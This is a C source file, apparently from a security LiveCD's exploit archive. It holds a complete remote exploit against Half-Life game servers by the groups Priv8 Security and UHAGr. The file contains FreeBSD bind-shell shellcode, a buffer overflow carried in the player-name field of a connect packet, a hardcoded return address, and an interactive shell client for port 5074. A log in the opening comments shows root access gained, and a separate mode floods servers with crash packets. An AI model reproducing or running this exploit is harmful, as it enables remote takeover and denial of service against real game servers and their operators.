home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / halflife / pu-hl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  21KB  |  626 lines
  1. //
  2. // PRIV8 SECURITY & UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE !!!
  3. // Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit 
  4. // Code by hkvig of UHAGr and wsxz of Priv8 Security
  5. //
  6. // This code is based upon the recent halflife exploit but it is
  7. // not a dos. Instead this exploit provides you a nice shell to
  8. // the vulnerable host
  9. //
  10. // 
  11. // LOGS OF SUCCESSFUL EXPLOITATION
  12. //
  13. // [wsxz@localhost xdcc]$ ./hl 0 192.168.0.4
  14. //
  15. //
  16. // PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!!
  17. // Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
  18. // Code by hkvig of UHAGr and wsxz of Priv8 Security
  19. // Greetings to #priv8security & #!uhagr people
  20. // 
  21. // [+] Looking up host ip addr
  22. // [+] Establishing virtual udp connection
  23. // [+] Getting server info
  24. // [+] Server protocol 0x2e
  25. //     Players         0
  26. //     Proxy           0
  27. //     Lan             0
  28. //     Nplayers        0x10
  29. //     Directory       cstrike
  30. //     Description     CounterStrike
  31. //     Host            Counter-Strike 1.5 Server
  32. //     Type            0
  33. //     Pass            0
  34. //     Os              0
  35. //     Security        0x1
  36. // [+] Getting server challenge integer
  37. //     Server challenge is 280135011
  38. // [+] Exploiting halflife server
  39. // [+] Connecting to our shell
  40. // Linux freebsd.rlz 2.4.2 FreeBSD 5.1-RELEASE #0: Thu Jun  5 02:55:42 GMT 2003
  41. //     root@wv i386 unknown
  42. // uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
  43. //
  44. //
  45. // Greetings fly to
  46. //    - The rest UHAGr and Priv8 Security people
  47. //    - CCC 
  48. //    - All of our friends to any net
  49. // 
  50. #include <stdio.h>
  51. #include <stdlib.h>
  52. #include <string.h>
  53. #include <signal.h>
  54. #include <sys/types.h>
  55. #include <sys/socket.h>
  56. #include <arpa/inet.h>
  57. #include <linux/socket.h>
  58. #include <linux/sockios.h>
  59. #include <netinet/in.h>
  60. #include <netdb.h>
  61. #include <unistd.h>
  62. #include <errno.h>
  63.  
  64. #define LOCAL_PORT ( getuid() + getpid() + rand())
  65. #define DEST_PORT 27015
  66. #define BUFFER_SIZE 4096
  67. #define DELAY 20 
  68. #define INIT "echo; echo; uname -a; id; who; echo; echo;\n"
  69.  
  70. // The packet layout for a bsd host
  71. #define PAYLOAD     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  72.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  73.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  74.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  75.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  76.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  77.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  78.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  79.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  80.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  81.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  82.                     "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" \
  83.                     "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1" \
  84.                     "\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" \
  85.                     "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" \
  86.                     "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6" \
  87.                     "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
  88.                     "\x89\xe1\xb0\x0b\xcd\x80" \
  89.                     "\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62" \
  90.                     \
  91.                     "\x42\x42\x42\x42"
  92.  
  93. #define NAME        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  94.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  95.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  96.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  97.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  98.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  99.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  100.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  101.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  102.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  103.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  104.                     "\x90\x90\x90\xeb\x08"
  105.  
  106. #define BUFFER "\xff\xff\xff\xff" \
  107.                "connect %d" \
  108.                " %s \"" \
  109.                "\\prot\\2" \
  110.                "\\unique\\-1" \
  111.                "\\raw\\%08lx%08lx%08lx%08lx" \
  112.                "\" \"" \
  113.                "\\model\\robo" \
  114.                "\\topcolor\\25" \
  115.                "\\bottomcolor\\161" \
  116.                "\\rate\\9999.000000" \
  117.                "\\cl_updaterate\\20" \
  118.                "\\cl_lw\\1" \
  119.                "\\cl_lc\\1" \
  120.                "\\cl_dlmax\\128" \
  121.                "\\hud_classautokill\\1" \
  122.                "\\name\\" NAME \
  123.                "\\" PAYLOAD "\\value" \
  124.                "\"\n"
  125.  
  126.  
  127. // The structure that holds the server info needed for the exploitation
  128. struct serverinfo
  129. {
  130.     unsigned int protocol;                   // Protocol version
  131.     unsigned int players;                    // Current players
  132.     unsigned int proxytarget;                // Proxy
  133.     unsigned int lan;                        // Lan
  134.     unsigned int nplayers;                   // Players
  135.     char *directory;                         // Current directory
  136.     char *description;                       // Server description
  137.     char *host;                              // Hosts alias
  138.     char *challenge;                         // Challenge integer
  139.     unsigned int type;                       // Server type
  140.     unsigned int pass;                       // Server pass
  141.     unsigned int os;                         // Os
  142.     unsigned int security;                   // Security
  143. } server;
  144.  
  145.  
  146. // The structure that contains the targets
  147. struct target
  148. {
  149.         unsigned int id;
  150.         const char *description;
  151.         unsigned long int retaddr;
  152. } 
  153. targets[] =
  154. {
  155.         { 0 , "Freebsd 5.1" , 0xbfbfe398  } ,
  156.  
  157.     { 1 , "DoS attack to every OS" , 0x41414141 } ,
  158.  
  159.         { 2 , NULL , 0 }
  160. };
  161.  
  162.  
  163. // This function lists the available targets
  164. void list( void )
  165. {
  166. int loop = 0;
  167.  
  168.     fprintf( stdout , "\n\nAvailable targets\n" );
  169.     while( targets[loop].description != NULL )
  170.     {
  171.     fprintf( stdout , "\t%d\t%s\n" , targets[loop].id , targets[loop].description );
  172.     loop++;
  173.     }
  174.     fprintf( stdout , "\n\n" );
  175.     
  176.     return;
  177. }
  178.  
  179.  
  180. // This function is responsible for the proper error reporting and
  181. // error code returning
  182. void do_exit( const char *str , const char *file , unsigned int line )
  183. {
  184.         fprintf( stdout , "\n" );
  185.         if( file != NULL && line != 0 )
  186.                 fprintf( stdout , "Error at %s at line %d\n" , file , line );
  187.  
  188.         if( str != NULL )
  189.                 perror( str );
  190.  
  191.         exit( -errno );
  192. }
  193.  
  194.  
  195. // A safer version of the standard strtok() function
  196. char *strtokerr( char *str , const char *del )
  197. {
  198. char *ptr;
  199.  
  200.         if(( ptr = strtok( str , del )) == NULL )
  201.         {
  202.     fprintf( stdout , "Error at %s at line %d\n" , __FILE__ , __LINE__ );
  203.     fprintf( stdout , "strtokerr(): strtok(): No such token\n" );
  204.     do_exit( NULL , NULL , 0 );
  205.     }
  206.  
  207.         return ptr;
  208. }
  209.  
  210.  
  211. // This function is responsible for looking the ip addr of the target host 
  212. unsigned long int lookup_host( char *host )
  213. {
  214. struct in_addr r_host;
  215. struct hostent *ip;
  216.  
  217.     if( !isdigit( *host ))
  218.     {
  219.             if(( ip = gethostbyname( host )) == NULL )
  220.             do_exit( "lookup_host(): gethostbyname()" , __FILE__ , __LINE__ );
  221.  
  222.             bzero( &r_host , sizeof( struct in_addr ));
  223.             r_host = *(( struct in_addr *)ip->h_addr );
  224.             return r_host.s_addr;
  225.     }
  226.  
  227.     if( isdigit( *host ))
  228.             return inet_addr( host );
  229.  
  230.     return -1;
  231. }
  232.  
  233.  
  234. // This function establishes a virtual udp connection to the target
  235. // host so that send() can be used instead of sendto()
  236. int udp_connect( unsigned long int addr , unsigned int port )
  237. {
  238. int fd;
  239. struct sockaddr_in host;
  240. struct in_addr n_addr = *(( struct in_addr *)&addr );
  241.  
  242.         if(( fd = socket( PF_INET , SOCK_DGRAM , IPPROTO_UDP )) == -1 )
  243.             do_exit( "udp_connect(): socket()" , __FILE__ , __LINE__ );
  244.  
  245.         host.sin_family = AF_INET;
  246.         host.sin_addr.s_addr = INADDR_ANY;
  247.         host.sin_port = htons( LOCAL_PORT );
  248.         if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  249.         do_exit( "udp_connect(): bind()" , __FILE__ , __LINE__ );
  250.  
  251.         bzero( &host , sizeof( struct sockaddr_in ));
  252.         host.sin_family = AF_INET;
  253.         host.sin_addr = n_addr;
  254.         host.sin_port = htons( port );
  255.         if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  256.         do_exit( "udp_connect(): connect()" , __FILE__ , __LINE__ );
  257.  
  258.     return fd;
  259. }
  260.  
  261.  
  262. // This is the standard tcp connection in just one function
  263. int tcp_connect( unsigned long int addr , int port )
  264. {
  265. struct sockaddr_in host;
  266. int fd;
  267.  
  268.         if(( fd = socket( PF_INET , SOCK_STREAM , IPPROTO_TCP )) == -1 )
  269.         do_exit( "tcp_connect(): socket()" , __FILE__ , __LINE__ );
  270.  
  271.         host.sin_family = AF_INET;
  272.         host.sin_addr.s_addr = INADDR_ANY;
  273.         host.sin_port = htons( LOCAL_PORT );
  274.  
  275.         if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  276.         do_exit( "tcp_connect(): bind()" , __FILE__ , __LINE__ );
  277.  
  278.         bzero( &host , sizeof( struct sockaddr_in ));
  279.         host.sin_family = AF_INET;
  280.         host.sin_addr.s_addr = addr;
  281.         host.sin_port = htons( port );
  282.  
  283.     if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  284.         do_exit( "tcp_connect(): connect()" , __FILE__ , __LINE__ );
  285.  
  286.     return fd;
  287. }
  288.  
  289. // The standard function for controlling the shell
  290. int shell( int fd )
  291. {
  292. int bytes;
  293. char buffer[2048];
  294. fd_set descr;
  295. struct timeval time = { 2 , 0 };
  296.  
  297.         while( 1 )
  298.         {
  299.             FD_ZERO( &descr );
  300.             FD_SET( fd , &descr );
  301.             FD_SET( 0 , &descr );
  302.             select( fd + 1 , &descr , NULL , NULL , NULL );
  303.  
  304.             if( FD_ISSET( fd , &descr ))
  305.             {
  306.                     bzero( buffer , sizeof( buffer ));
  307.                     if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
  308.                     {
  309.                     fprintf( stdout , "[-] Connection closed by foreign host\n" );
  310.                     do_exit( "shell(): read()" , __FILE__ , __LINE__ );
  311.                     }
  312.                     buffer[bytes] = '\0';
  313.                     fputs( buffer , stdout );
  314.             }
  315.  
  316.         if( FD_ISSET( 0 , &descr ))
  317.             {
  318.                     bzero( buffer , sizeof( buffer ));
  319.                     if(( bytes = read( 0 , buffer , sizeof( buffer ))) == -1 )
  320.                             do_exit( "shell(): read()" , __FILE__ , __LINE__ );
  321.                     buffer[bytes] = '\0';
  322.                     send( fd , buffer , strlen( buffer ) , 0 );
  323.             }
  324.         }
  325.  
  326.         return 0;
  327. }
  328.  
  329.  
  330. // This function gets the server info needed for the exploitation and checks
  331. // if the host is vulnerable
  332. int server_info( int fd )
  333. {
  334. char infostr[] = "\xff\xff\xff\xffinfostring\n\0";
  335. char buffer[BUFFER_SIZE];
  336. char *ptr;
  337. int loop , bytes;
  338.  
  339.     bzero( buffer , sizeof( buffer ));
  340.  
  341.     if(( send( fd , infostr , sizeof( infostr ) - 1 , 0 )) == -1 )
  342.         do_exit( "server_info(): send()" , __FILE__ , __LINE__ );
  343.  
  344.     if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
  345.         do_exit( "server_info(): read()" , __FILE__ , __LINE__ );
  346.  
  347.     for( loop = 0; loop < bytes; loop++ )
  348.         if( buffer[loop] == '\0' ) buffer[loop] = 0x41;
  349.     
  350.     if(( ptr = strstr( buffer , "protocol" )) == NULL )     
  351.     {
  352.     fprintf( stdout , "[-] No protocol info into server response\n" );
  353.     do_exit( NULL , NULL , 0 );
  354.     }
  355.  
  356.     ptr = strtokerr( buffer , "\\" );                       // Ignoring response
  357.     ptr = strtokerr( NULL , "\\" );                         // Protocol version
  358.     server.protocol = atoi( strtokerr( NULL , "\\" ));
  359.  
  360.     ptr = strtokerr( NULL , "\\" );                         // Address
  361.     ptr = strtokerr( NULL , "\\" );                         // Ip address and port
  362.  
  363.     ptr = strtokerr( NULL , "\\" );                         // Players
  364.     server.players = atoi( strtokerr( NULL , "\\" ));       // Current players
  365.  
  366.     ptr = strtokerr( NULL , "\\" );                         // Proxytarget
  367.     server.proxytarget = atoi( strtokerr( NULL , "\\" ));   // Proxytarget value
  368.  
  369.     ptr = strtokerr( NULL , "\\" );                         // Lan
  370.     server.lan = atoi( strtokerr( NULL , "\\" ));           // Lan value
  371.  
  372.     ptr = strtokerr( NULL , "\\" );                         // Max players
  373.     server.nplayers = atoi( strtokerr( NULL , "\\" ));      // Max players
  374.  
  375.     ptr = strtokerr( NULL , "\\" );                         // Directory
  376.     server.directory = strtokerr( NULL , "\\" );            // Directory string
  377.  
  378.     ptr = strtokerr( NULL , "\\" );                         // Description
  379.     server.description = strtokerr( NULL , "\\" );          // Description string
  380.  
  381.     ptr = strtokerr( NULL , "\\" );                         // Host
  382.     server.host = strtokerr( NULL , "\\" );                 // Host string
  383.  
  384.     ptr = strtokerr( NULL , "\\" );                         // Map
  385.     ptr = strtokerr( NULL , "\\" );                         // Map string
  386.  
  387.     ptr = strtokerr( NULL , "\\" );                         // Type
  388.     server.type = atoi( strtokerr( NULL , "\\" ));          // Type value
  389.  
  390.     ptr = strtokerr( NULL , "\\" );                         // Pass
  391.     server.pass = atoi( strtokerr( NULL , "\\" ));          // Pass value
  392.  
  393.     ptr = strtokerr( NULL , "\\" );                         // Os
  394.     server.os = atoi( strtokerr( NULL , "\\" ));            // Os value
  395.  
  396.     ptr = strtokerr( NULL , "\\" );                         // Security
  397.     server.security = atoi( strtokerr( NULL , "\\" ));      // Security value
  398.  
  399.     return 0;
  400. }
  401.  
  402.  
  403. // This function is responsible for getting the server's challenge in order
  404. // to be used later into the exploitation udp packet
  405. int server_challenge( int fd )
  406. {
  407. char challstr[] = "\xff\xff\xff\xffgetchallenge\n\0";
  408. char buffer[BUFFER_SIZE];
  409.  
  410.     bzero( buffer , sizeof( buffer ));
  411.  
  412.     if(( send( fd , challstr , sizeof( challstr ) - 1 , 0 )) == -1 )
  413.         do_exit( "server_challenge(): send()" , __FILE__ , __LINE__ );
  414.  
  415.     if(( read( fd , buffer , sizeof( buffer ))) == -1 )
  416.         do_exit( "server_challenge(): read()" , __FILE__ , __LINE__ );
  417.  
  418.     strtokerr( buffer , " " );
  419.     server.challenge = strtokerr( NULL , " " );
  420.     return 0;
  421. }
  422.  
  423. // This function is responsible for exploiting a bsd host
  424. int do_bof_bsd( int fd , struct target targ , unsigned long int offset )
  425. {
  426. char *exploit , *ptr;
  427. int len;
  428.  
  429.     targ.retaddr -= offset;
  430.  
  431.     if(( exploit = ( char *)malloc( BUFFER_SIZE )) == NULL )
  432.         do_exit( "do_bof(): malloc()" , __FILE__ , __LINE__ );
  433.     bzero( exploit , BUFFER_SIZE );
  434.  
  435.     len = snprintf( exploit , sizeof( BUFFER ) + 64 , BUFFER , server.protocol , server.challenge , 
  436.                   ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,   
  437.                       ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  438.                       ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  439.                       ( long int )( rand() << 1 ) + ( rand() & 0xf ));
  440.  
  441.     ptr = strstr( exploit , "BBBB" );
  442.     *( unsigned long int *)ptr = targ.retaddr;
  443.  
  444. // ptr += 4;
  445. // *( unsigned long int *)ptr = targ.retaddr;
  446. // ptr += 4;
  447. // *( unsigned long int *)ptr = targ.retaddr;
  448. // ptr += 4;
  449. // *( unsigned long int *)ptr = targ.retaddr;
  450. // ptr += 4;
  451. // *( unsigned long int *)ptr = targ.retaddr;
  452.  
  453.     if(( send( fd , exploit , len , 0 )) == -1 )
  454.         do_exit( "do_bof(): send()" , __FILE__ , __LINE__ );
  455.  
  456.  
  457.     return 0;
  458. }
  459.  
  460. // This function launches a dos attack against the vulnerable server
  461. int do_dos( int fd , unsigned int delay )
  462. {
  463. int len;
  464. char *dos , buff[268];
  465.  
  466.         if(( dos = ( char *)malloc( BUFFER_SIZE )) == NULL )
  467.                 do_exit( "do_dos(): malloc()" , __FILE__ , __LINE__ );
  468.  
  469.         bzero( dos , BUFFER_SIZE );
  470.         bzero( buff , sizeof( buff ));
  471.  
  472.         memset( buff , 0x41 , sizeof( buff ));
  473.  
  474.         len = snprintf( dos , BUFFER_SIZE ,
  475.                               "\xff\xff\xff\xff"
  476.                               "connect %d"
  477.                               " %s \""
  478.                               "\\prot\\2"
  479.                               "\\unique\\-1"
  480.                               "\\raw\\%08lx%08lx%08lx%08lx"
  481.                               "\" \""
  482.                               "\\model\\%s"
  483.                               "\\topcolor\\25"
  484.                               "\\bottomcolor\\161"
  485.                               "\\rate\\9999.000000"
  486.                               "\\cl_updaterate\\20"
  487.                               "\\cl_lw\\1"
  488.                               "\\cl_lc\\1"
  489.                               "\\cl_dlmax\\128"
  490.                               "\\hud_classautokill\\1"
  491.                               "\\name\\Bugtest"
  492.                               "\"\n" ,
  493.                               server.protocol , server.challenge ,
  494.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  495.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  496.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  497.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  498.                           buff );
  499.  
  500.         while( 1 )
  501.         {
  502.                 if(( send( fd , dos , len , 0 )) == -1 )
  503.                         do_exit( "do_dos(): send()" , __FILE__ , __LINE__ );
  504.  
  505.                 fprintf( stdout , "[+] DoS packet sent\n" );
  506.                 sleep( delay );
  507.         }
  508.  
  509.  
  510.         return 0;
  511. }
  512.  
  513.  
  514. int main( int argc , char *argv[] )
  515. { 
  516. unsigned long int addr;
  517. long int offset;
  518. int fd , usrtarg , port;
  519.  
  520.  
  521.     fprintf( stdout , "                                                                  \n\n"
  522.                       "PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
  523.                       "Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit                \n"
  524.                       "Code by hkvig of UHAGr and wsxz of Priv8 Security                   \n"
  525.                       "Greetings to #priv8security & #!uhagr people                      \n\n" );
  526.  
  527.     if( argc != 4 && argc != 5 )
  528.     {
  529.         fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
  530.                               "Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
  531.         list();
  532.         return 0;
  533.     }
  534.     
  535.     if( argc == 5 )
  536.     {
  537.         port = atoi( argv[4] );
  538.         fprintf( stdout , "[+] Using port %d\n" , port );
  539.     }
  540.     else
  541.         port = DEST_PORT;
  542.  
  543.     usrtarg = atoi( argv[1] );
  544.     if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
  545.     {
  546.     fprintf( stdout , "[-] No such target in target list\n" );
  547.     do_exit( NULL , NULL , 0 );
  548.     }
  549.  
  550.         offset = atoi( argv[3] );
  551.         fprintf( stdout , "[+] Using offset %#x + %#x\n" , targets[usrtarg].retaddr , offset );
  552.  
  553.     bzero( &server , sizeof( struct serverinfo ));
  554.  
  555.     fprintf( stdout , "[+] Looking up host ip addr\n" );
  556.     addr = lookup_host( argv[2] );    
  557.     sleep( 1 );
  558.  
  559.     
  560.     fprintf( stdout , "[+] Establishing virtual udp connection\n" );
  561.     fd = udp_connect( addr , port );
  562.     sleep( 1 );    
  563.  
  564.     
  565.     fprintf( stdout , "[+] Getting server info\n" );
  566.     server_info( fd );
  567.     sleep( 1 );
  568.  
  569.     fprintf( stdout , "[+] Server protocol %#x\n"
  570.                       "    Players         %#x\n"
  571.                       "    Proxy           %#x\n"
  572.                       "    Lan             %#x\n"
  573.                       "    Nplayers        %#x\n"
  574.                       "    Directory       %s \n"
  575.                       "    Description     %s \n"
  576.                       "    Host            %s \n"
  577.                       "    Type            %#x\n"
  578.                       "    Pass            %#x\n"
  579.                       "    Os              %#x\n"
  580.                       "    Security        %#x\n" ,
  581.                       server.protocol ,
  582.                       server.players ,
  583.                       server.proxytarget ,
  584.                       server.lan ,
  585.                       server.nplayers ,
  586.                       server.directory ,
  587.                       server.description ,
  588.                       server.host ,
  589.                       server.type ,
  590.                       server.pass ,
  591.                       server.os ,
  592.                       server.security );
  593.  
  594.     sleep( 1 );
  595.     fprintf( stdout , "[+] Getting server challenge integer\n" );
  596.     server_challenge( fd );
  597.  
  598.     fprintf( stdout , "    Server challenge is %s\n" , server.challenge );
  599.     sleep( 1 );
  600.  
  601.  
  602.     if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 ) 
  603.     { 
  604.         fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
  605.         do_dos( fd , DELAY );
  606.     }
  607.     else // Real exploitation
  608.     {
  609.         fprintf( stdout , "[+] Exploiting halflife server\n" );
  610.         do_bof_bsd( fd , targets[usrtarg] , offset );
  611.     
  612.         sleep( 1 );
  613.         close( fd );
  614.  
  615.         sleep( 3 );
  616.         fprintf( stdout , "[+] Connecting to our shell\n" );
  617.         fd = tcp_connect( addr , 5074 );
  618.     
  619.         send( fd , INIT , sizeof( INIT ) , 0 );
  620.         shell( fd );
  621.     }    
  622.  
  623.     close( fd );
  624.     return 0; 
  625. }
  626.